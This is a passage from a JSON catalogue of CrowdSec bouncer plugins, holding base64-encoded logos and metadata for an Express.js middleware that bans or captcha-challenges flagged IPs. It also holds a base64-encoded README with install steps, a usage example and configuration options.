1HSEK7b6cwAAAABJRU5ErkJggg==", "url": "https://github.com/crowdsecurity/cs-express-bouncer", "description": "CrowdSec is an open-source cyber security tool. This Express middleware blocks detected attackers or display them a captcha to check they are not bots.", "stars": 7, "downloads": 694, "readme_content": "IyBDcm93ZFNlYyBFeHByZXNzIEpTIEJvdW5jZXIKCiFbQ3Jvd2RTZWMgRXhwcmVzcyBCb3VuY2VyXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1leHByZXNzLWJvdW5jZXIvcmF3L21haW4vZG9jcy9hc3NldHMvYmFubmVyLnBuZyAiQ3Jvd2RTZWMgRXhwcmVzcyBCb3VuY2VyIikKCkNyb3dkU2VjIGlzIGNvbXBvc2VkIG9mIGEgYmVoYXZpb3IgZGV0ZWN0aW9uIGVuZ2luZSwgYWJsZSB0byBibG9jayBjbGFzc2ljYWwgYXR0YWNrcyBsaWtlIGNyZWRlbnRpYWwgYnJ1dGVmb3JjZSwgcG9ydCBzY2Fucywgd2ViIHNjYW5zLCBldGMuCgpCYXNlZCBvbiB0aGUgdHlwZSBhbmQgbnVtYmVyIG9mIGJsb2NrZWQgYXR0YWNrcywgYW5kIGFmdGVyIGN1cmF0aW9uIG9mIHRob3NlIHNpZ25hbHMgdG8gYXZvaWQgZmFsc2UgcG9zaXRpdmVzIGFuZCBwb2lzb25pbmcsIGEgZ2xvYmFsIElQIHJlcHV0YXRpb24gREIgaXMgbWFpbnRhaW5lZCBhbmQgc2hhcmVkIHdpdGggYWxsIG5ldHdvcmsgbWVtYmVycy4KCkdldCBtb3JlIGluZm8gb24gdGhlIFtDcm93ZFNlYyBvZmZpY2lhbCB3ZWJzaXRlXShodHRwczovL2Nyb3dkc2VjLm5ldC8pLgoKVGhpcyBFeHByZXNzIG1pZGRsZXdhcmUgaXMgYSDigJxib3VuY2Vy4oCdLCB3aGljaCBwdXJwb3NlIGlzIHRvIGJsb2NrIGRldGVjdGVkIGF0dGFja3Mgd2l0aCB0d28gcmVtZWRpYXRpb24gc3lzdGVtczogYmFuIG9yIGNoYWxsZW5nZSBkZXRlY3RlZCBhdHRhY2tlcnMgd2l0aCBhIENhcHRjaGEuCgojIEluY2x1ZGVkIGZlYXR1cmVzCgpIZXJlIGlzIHRoZSBleGhhdXN0aXZlIGxpc3Qgb2YgYm91bmNlciBmZWF0dXJlcy4KCi0gW3hdICoqQmxvY2sgYWNjZXNzIG9yIG9mZmVyIHRvIGZpbGwgaW4gYSBjYXB0Y2hhKiogT3VyIGJvdW5jZXIgaXMgYWJsZSB0byBibG9jayBhY2Nlc3Mgb3IgcHJlc2VudCBhIGNhcHRjaGEgKGEuay5hLiBfYmFuIHdhbGxfIGFuZCBfY2FwdGNoYSB3YWxsXykuCi0gW3hdICoqQ3VzdG9taXphYmxlIHdhbGwgcGFnZXMqKiBUaGlzIGJvdW5jZXIgYWxsb3dzIHlvdSB0byBjdXN0b21pemUgdGhlIHZpc3VhbCBhc3BlY3Qgb2YgdGhlIGJhbiBwYWdlIGFuZCB0aGUgY2FwdGNoYSBmb3JtICh0aGVzZSB0d28gcGFnZXMgYXJlIGNhbGxlZCAid2FsbCIpLiBZb3UgY2FuIHRoZXJlZm9yZSBjdXN0b21pemUgdGhlIGNvbG9ycyBvZiB0aGVzZSBwYWdlcywgbW9kaWZ5IHRoZSB0ZXh0cyBhbmQgdHJhbnNsYXRpb25zIGFuZCBldmVuIGFkZCB5b3VyIG93biBDU1Mgc3R5bGVzaGVldCBpZiBuZWNlc3NhcnkuCi0gW3hdICoqRmxleCBtb2RlKiogOiBGb3IgY2VydGFpbiBzcGVjaWZpYyB1c2VzIHN1Y2ggYXMgb25saW5lIGNvbW1lcmNlLCBpdCBpcyBwcmVmZXJhYmxlIHRvIG5ldmVyIGJsb2NrIHRoZSB1c2VyIGFuZCwgaW4gdGhlIHdvcnN0IGNhc2UsIHlvdSBzaG91bGQgb2ZmZXIgdG8gZmlsbCBvdXQgYSBjYXB0Y2hhLiBXZSBjYWxsIHRoaXMgZmVhdHVyZSAiZmxleCBtb2RlIi4KLSBbeF0gKipTdXBwb3J0IElQdjQgYW5kIElQdjYqKiA6IE91ciBib3VuY2VyIHN1cHBvcnRzIGJvdGggSVB2NCBhbmQgSVB2NgotIFt4XSAqKlJlbWVkeSBJUHMgb3IgSVAgcmFuZ2VzKiogOiBEZWNpc2lvbnMgZnJvbSBDcm93ZFNlYyBtYXkgY29uY2VybiBzaW5nbGUgSVBzIG9yIHJhbmdlcyBvZiBJUHMKLSBbeF0gKipTdXBwb3J0IGZvciB1bmtub3duIHJlbWVkaWF0aW9ucyoqIERlc2lnbmVkIHRvIGJlIGV4dGVuc2libGUsIENyb3dkU2VjIGFsbG93cyB5b3UgdG8gY3JlYXRlIGFzIG1hbnkgdHlwZXMgb2YgcmVtZWRpZXMgYXMgbmVjZXNzYXJ5LiBPdXIgYm91bmNlciBjYW4gaGFuZGxlIGFsbCB0aGVzZSB0eXBlcyBvZiByZW1lZGllcywgZXZlbiB0aG9zZSB0aGF0IHRoZSBib3VuY2VyIGRvZXMgbm90IHlldCBrbm93LgotIFt4XSAqKkNETiBXaGl0ZWxpc3RpbmcqKiA6IFdoZW4gdXNpbmcgQ0ROLCB0aGUgdXNlcidzIElQIGlzIGhpZGRlbiBiZWhpbmQgdGhlIENETi4gRm9ydHVuYXRlbHkgdGhlIENETiBzdGlsbCB0cmFuc21pdHMgdGhlIElQIHRocm91Z2ggYSBzcGVjaWZpYyBoZWFkZXIuIFRvIGF2b2lkIElQIHNwb29maW5nIHRocm91Z2ggdGhpcyBoZWFkZXIsIHRoZSBib3VuY2VyIGNhbiBiZWxpZXZlIHRoaXMgaGVhZGVyIG9ubHkgaWYgdGhlIENETiBJUCBpcyBpbmNsdWRlZCBpbiBhIGxpc3QgZmlsdGVyZWQgYnkgdGhlIGJvdW5jZXIgdXNlci4KLSBbeF0gKipCeXBhc3MgbW9kZSoqIDogQWxsb3cgdGhlIHVzZXIgdG8gdGVtcG9yYXJpbHkgZGlzYWJsZSBib3VuY2luZyB0byBtZWV0IHNwZWNpZmljIG5lZWRzLgotIFt4XSAqKkV2ZW50cyBsb2dnZXIqKiA6IFRvIGJlIF9Qcm9kdWN0aW9uIHJlYWR5Xywgd2UgaGF2ZSBpbXBsZW1lbnRlZCBhIGxvZyBzeXN0ZW0uIFRoaXMgd2lsbCBhbHNvIGFsbG93IHlvdSB0byBjb25zdWx0IHRoZSBib3VuY2VyIHVzYWdlIG1ldHJpY3MgbGF0ZXIuIFdlIHVzZSB0aGUgcG9wdWxhciBsaWJyYXJ5IFtXaW5zdG9uXShodHRwczovL2dpdGh1Yi5jb20vd2luc3RvbmpzL3dpbnN0b24jcmVhZG1lKQoKIyMgSG93IHRvIHVzZSB0aGlzIEV4cHJlc3MgbWlkZGxld2FyZQoKPiBOb3RlOiBZb3UgbXVzdCBmaXJzdCBoYXZlIENyb3dkU2VjIGluc3RhbGxlZCBvbiB5b3VyIHNlcnZlci4gVGhlIFtpbnN0YWxsYXRpb24gaXMgdmVyeSBzaW1wbGVdKGh0dHBzOi8vZG9jLmNyb3dkc2VjLm5ldC9Dcm93ZHNlYy92MS9nZXR0aW5nX3N0YXJ0ZWQvaW5zdGFsbGF0aW9uLyNpbnN0YWxsYXRpb24pLgoKCgpGaXJzdCwgaW5zdGFsbCB0aGUgKipDcm93ZHNlYyBCb3VuY2VyKiogZXhwcmVzcyBtaWRkbGV3YXJlOgoKYGBgYmFzaApucG0gaW5zdGFsbCBAY3Jvd2RzZWMvZXhwcmVzcy1ib3VuY2VyCmBgYAoKb3IKCmBgYGJhc2gKeWFybiBhZGQgQGNyb3dkc2VjL2V4cHJlc3MtYm91bmNlcgpgYGAKClRoZW4gaW5pdCB0aGUgRXhwcmVzcyBtaWRkbGV3YXJlLiBIZXJlIGlzIGEgcXVpY2sgdXNhZ2UgZXhhbXBsZS4KCmBgYGphdmFzY3JpcHQKY29uc3QgZXhwcmVzcyA9IHJlcXVpcmUoImV4cHJlc3MiKTsKY29uc3QgYm9keVBhcnNlciA9IHJlcXVpcmUoImJvZHktcGFyc2VyIik7CmNvbnN0IGV4cHJlc3NDcm93ZHNlY0JvdW5jZXIgPSByZXF1aXJlKCJAY3Jvd2RzZWMvZXhwcmVzcy1ib3VuY2VyIik7CgooYXN5bmMgKCkgPT4gewogIC8vIENvbmZpZ3VyZSBDcm93ZFNlYyBNaWRkbGV3YXJlLgogIGNvbnN0IGNyb3dkc2VjTWlkZGxld2FyZSA9IGF3YWl0IGV4cHJlc3NDcm93ZHNlY0JvdW5jZXIoewogICAgdXJsOiAiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwKICAgIGFwaUtleTogIklOU0VSVF9ZT1VSX0JPVU5DRVJfQVBJX0tFWSIsCiAgfSk7CgogIC8vIENvbmZpZ3VyZSBFeHByZXNzIHNlcnZlci4KICBjb25zdCBhcHAgPSBleHByZXNzKCk7CiAgYXBwLnVzZShib2R5UGFyc2VyLnVybGVuY29kZWQoeyBleHRlbmRlZDogdHJ1ZSB9KSk7CiAgYXBwLnVzZShjcm93ZHNlY01pZGRsZXdhcmUpOwoKICAvLyBDcmVhdGUgYW4gZXhhbXBsZSByb3V0ZS4KICBhcHAuYWxsKCIvIiwgZnVuY3Rpb24gKHJlcSwgcmVzKSB7CiAgICByZXMuc3RhdHVzKDIwMCkuc2VuZChgVGhlIHdheSBpcyBjbGVhciFgKTsKICB9KTsKCiAgLy8gU3RhcnQgc2VydmVyLgogIGFwcC5saXN0ZW4oMzAwMCk7CiAgY29uc29sZS5sb2coCiAgICBgRXhwcmVzcyBzZXJ2ZXIgY29uZmlndXJlZCB3aXRoIENyb3dkc2VjIG1pZGRsZXdhcmUgYXZhaWxhYmxlIGhlcmU6IGh0dHA6Ly8xMjcuMC4wLjE6MzAwMGAKICApOwp9KSgpOwpgYGAKPiBOb3RlOiBUbyBnZXQgYSBfYm91bmNlciBBUEkga2V5XywganVzdCB0eXBlIGBjc2NsaSBib3VuY2VycyBhZGQgZXhwcmVzcy1qcy1ib3VuY2VyYCAoeW91IGNhbiByZXBsYWNlIHRoZSBuYW1lIGBleHByZXNzLWpzLWJvdW5jZXJgIGJ5IGFueXRoaW5nIHlvdSBwcmVmZXIpLgoKIyMgQ29uZmlndXJhdGlvbgoKSGVyZSBpcyB0aGUgZnVsbCBsaXN0IG9mIHBhcmFtZXRlcnMgdGhhbiBjYW4gYmUgcGFzc2VkIHRvIGBleHByZXNzQ3Jvd2RzZWNCb3VuY2VyYC4KCnwgTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBEZXNjcmlwdGlvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBUeXBlICAgICAgICAgICB8IERlZmF1bHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gfCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gfCAtLS0tLS0tLS0tLS0tLSB8IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSB8CnwgYHVybGAgKHJlcXVpcmVkKSAgICAgICAgICAgICAgICAgfCBUaGUgVVJMIG9mIHlvdXIgTEFQSSBpbnN0YW5jZS4gRXg6ICJodHRwOi8vbG9jYWxob3N0OjgwODAiICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBzdHJpbmcgICAgICAgICB8IC0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGFwaUtleWAgKHJlcXVpcmVkKSAgICAgICAgICAgICAgfCBUaGUgYm91bmNlciBrZXkgKGdlbmVyYXRlZCB2aWEgY3NjbGkpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBzdHJpbmcgICAgICAgICB8IC0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGZhbGxiYWNrUmVtZWRpYXRpb25gICAgICAgICAgICAgfCBUaGUgcmVtZWRpYXRpb24gdG8gdXNlIHdoZW4gdGhlIHJlY2VpdmVkIG9uZSBpcyB1bmtub3duICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBDb25zdGFudCBcKiAgICB8IGBCQU5fUkVNRURJQVRJT05gICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYG1heFJlbWVkaWF0aW9uYCAgICAgICAgICAgICAgICAgfCBUaGUgbWF4aW11bSByZW1lZGlhdGlvbiB0byB1c2UgKGZsZXggbW9kZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBDb25zdGFudCBcKiAgICB8IGBCQU5fUkVNRURJQVRJT05gICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGJ5cGFzc2AgICAgICAgICAgICAgICAgICAgICAgICAgfCBUbyBlbmFibGUgb3IgZGlzYWJsZSB0aGUgYm91bmNpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBib29sZWFuICAgICAgICB8IGBmYWxzZWAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGNhcHRjaGFUZXh0c2AgICAgICAgICAgICAgICAgICAgfCBUbyBjaGFuZ2UgdGhlIHRleHQgZGlzcGxheWVkIG9uIHRoZSBDQVBUQ0hBIHdhbGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBvYmplY3QgICAgICAgICB8IHZpZXcgYmVsb3cgXCpcKiAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGJhblRleHRzYCAgICAgICAgICAgICAgICAgICAgICAgfCBUbyBjaGFuZ2UgdGhlIHRleHQgZGlzcGxheWVkIG9uIHRoZSBCQU4gd2FsbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBvYmplY3QgICAgICAgICB8IHZpZXcgYmVsb3cgXCpcKlwqICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGNvbG9yc2AgICAgICAgICAgICAgICAgICAgICAgICAgfCBUbyBjaGFuZ2UgdGhlIGNvbG9ycyBvZiB0aGUgQkFOIGFuZCBDQVBUQ0hBIHdhbGxzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBvYmplY3QgICAgICAgICB8IHZpZXcgYmVsb3cgXCpcKlwqXCogICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGN1c3RvbUNzc2AgICAgICAgICAgICAgICAgICAgICAgfCBDU1MgY29kZSB0byBjdXN0b21pemUgYmFuIGFuZCBjYXB0Y2hhIHdhbGxzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBzdHJpbmcgICAgICAgICB8IGAiImAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYHVzZXJBZ2VudGAgICAgICAgICAgICAgICAgICAgICAgfCBUbyB1c2UgYSBjdXN0b20gYm91bmNlciB1c2VyIGFnZW50IHdoZW4gcmVxdWVzdGluZyBMQVBJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBzdHJpbmcgICAgICAgICB8IGAiQ3Jvd2RTZWMgRXhwcmVzcy1Ob2RlSlMgYm91bmNlci92eC54LngiYCB8CnwgYHRpbWVvdXRgICAgICAgICAgICAgICAgICAgICAgICAgfCBUaGUgdGltZW91dCB3aGVuIHJlcXVlc3RpbmcgTEFQSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBudW1iZXIgICAgICAgICB8IGAyMDAwYCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGNhcHRjaGFHZW5lcmF0aW9uQ2FjaGVEdXJhdGlvbmAgfCBUaGUgbWluaW11bSB0aW1lIGJldHdlZW4gdHdvIENBUFRDSEEgZ2VuZXJhdGlvbnMgZm9yIGEgc2FtZSBJUCAgICAgICAgICAgICAgICAgICAgICAgfCBudW1iZXIgICAgICAgICB8IGA2MCAqIDEwMDBgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGNhcHRjaGFSZXNvbHV0aW9uQ2FjaGVEdXJhdGlvbmAgfCBUaGUgdGltZSB3ZSBjYW4gY29uc2lkZXIgYSBjYXB0Y2hhIGFzIHJlc29sdmVkIChkdXJpbmcgYW4gYWN0aXZlICJjYXB0Y2hhIiBkZWNpc2lvbikgfCBudW1iZXIgICAgICAgICB8IGAzMCAqIDYwICogMTAwMGAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGhpZGVDcm93ZHNlY01lbnRpb25zYCAgICAgICAgICAgfCBUbyBkaXNwbGF5IG9yIGhpZGUgQ3Jvd2RTZWMgbWVudGlvbiBvbiB0aGUgQkFOIGFuZCBDQVBUQ0hBIHdhbGxzICAgICAgICAgICAgICAgICAgICAgfCBib29sZWFuICAgICAgICB8IGBmYWxzZWAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGN1c3RvbUxvZ2dlcmAgICAgICAgICAgICAgICAgICAgfCBZb3UgY2FuIHVzZSBhIGN1c3RvbSBXaW5zdG9uIGxvZ2dlciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBXaW5zdG9uIGxvZ2dlciB8IGRlZmF1bHQgbG9nZ2VyICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYGJ5cGFzc0Nvbm5lY3Rpb25UZXN0YCAgICAgICAgICAgfCBUbyBieXBhc3MgdGhlIGNvbm5lY3Rpb24gdGVzdCBhdCBtaWRkbGV3YXJlIGluaXRpYWxpemF0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBib29sZWFuICAgICAgICB8IGZhbHNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CnwgYHRydXN0ZWRSYW5nZXNGb3JJcEZvcndhcmRpbmdgICAgfCBUaGUgbGlzdCBvZiBJUHMgdG8gdHJ1c3QgYXMgcHJveGllcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCBhcnJheTxzdHJpbmc+ICB8IFtdICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8Cgo+IFwqOiBBbGwgcmVtZWRpYXRpb24gdHlwZSBhcmUgY29uc3RhbnRzIGFuZCB0aGV5IGNhbiBiZSBmb3VuZDogW2BleHByZXNzLWNyb3dkc2VjLWJvdW5jZXIvc3JjL25vZGVqcy1ib3VuY2VyL2xpYi9jb25zdGFudHMuanNgXShzcmMvbm9kZWpzLWJvdW5jZXIvbGliL2NvbnN0YW50cy5qcykuCgo+IFwqXCo6IGBjYXB0Y2hhVGV4dHNgIGRlZmF1bHQgdmFsdWU6CgpgYGBqc29uCnsKICAidGFiVGl0bGUiOiAiT29wcy4uIiwKICAidGl0bGUiOiAiSG1tLCBzb3JyeSBidXQuLi4iLAogICJzdWJ0aXRsZSI6ICJQbGVhc2UgY29tcGxldGUgdGhlIHNlY3VyaXR5IGNoZWNrLiIsCiAgInJlZnJlc2hfaW1hZ2VfbGluayI6ICJyZWZyZXNoIGltYWdlIiwKICAiY2FwdGNoYV9wbGFjZWhvbGRlciI6ICJUeXBlIGhlcmUuLi4iLAogICJzZW5kX2J1dHRvbiI6ICJDT05USU5VRSIsCiAgImVycm9yX21lc3NhZ2UiOiAiUGxlYXNlIHRyeSBhZ2Fpbi4iLAogICJmb290ZXIiOiAiIgp9CmBgYAoKPiBcKlwqXCo6IGBiYW5UZXh0c2AgZGVmYXVsdCB2YWx1ZToKCmBgYGpzb24KewogICJ0YWJUaXRsZSI6ICJPb3BzLi4iLAogICJ0aXRsZSI6ICLwn6StIE9oISIsCiAgInN1YnRpdGxlIjogIlRoaXMgcGFnZSBpcyBwcm90ZWN0ZWQgYWdhaW5zdCBjeWJlciBhdHRhY2tzIGFuZCB5b3VyIElQIGhhcyBiZWVuIGJhbm5lZCBieSBvdXIgc3lzdGVtLiIsCiAgImZvb3RlciI6ICIiCn0KYGBgCgo+IFwqXCpcKlwqOiBgY29sb3JzYCBkZWZhdWx0IHZhbHVlOgoKYGBganNvbgp7CiAgInRleHQiOiB7CiAgICAicHJpbWFyeSI6ICJibGFjayIsCiAgICAic2Vjb25kYXJ5IjogIiNBQUEiLAogICAgImJ1dHRvbiI6ICJ3aGl0ZSIsCiAgICAiZXJyb3JfbWVzc2FnZSI6ICIjYjkwMDAwIgogIH0sCiAgImJhY2tncm91bmQiOiB7CiAgICAicGFnZSI6ICIjZWVlIiwKICAgICJjb250YWluZXIiOiAid2hpdGUiLAogICAgImJ1dHRvbiI6ICIjNjI2MzY1IiwKICAgICJidXR0b25faG92ZXIiOiAiIzMzMyIKICB9Cn0KYGBgCgojIyBGQVEKCiMjIyBXaGF0IGRvIEkgbmVlZCB0byBtYWtlIENyb3dkU2VjIHdvcms/CgotIFlvdSBoYXZlIHRvIGluc3RhbGwgYSBDcm93ZFNlYyBpbnN0YW5jZSBvbiB0aGlzIHNlcnZlci4KLSBZb3UgaGF2ZSB0byBnZW5lcmF0ZSBhIGJvdW5jZXIga2V5IG9uIHRoZSBzZXJ2ZXIgb24gd2hpY2ggQ3Jvd2RTZWMgaXMgcnVubmluZy4KCiMjIE1JVCBMaWNlbmNlCgpbTUlUIExpY2VuY2VdKC4vTElDRU5DRSkK", "status": "stable", "version": "v0.1.0", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-express-bouncer/tarball/v0.1.0", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-express-bouncer/tarball/v0.1.0" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-express-bouncer/zipball/v0.1.0", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-express-bouncer/zipball/v0.1.0" } ] }, { "name": "cs-firewall-bouncer", "author": "crowdsecurity", "logo": "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